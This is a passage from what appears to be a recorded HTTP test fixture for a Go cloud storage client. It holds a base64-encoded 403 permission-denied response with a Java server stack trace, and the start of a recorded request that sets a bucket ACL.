W50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NDI4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NTgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IudXBkYXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlVwZGF0ZUFuZFBhdGNoT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBbmRQYXRjaE9iamVjdC5qYXZhOjQyOClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlVwZGF0ZUFuZFBhdGNoT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBbmRQYXRjaE9iamVjdC5qYXZhOjU4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnVwZGF0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlVwZGF0ZUFuZFBhdGNoT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBbmRQYXRjaE9iamVjdC5qYXZhOjQyOClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlVwZGF0ZUFuZFBhdGNoT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBbmRQYXRjaE9iamVjdC5qYXZhOjU4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnVwZGF0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "2745d195a40b86f1", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - 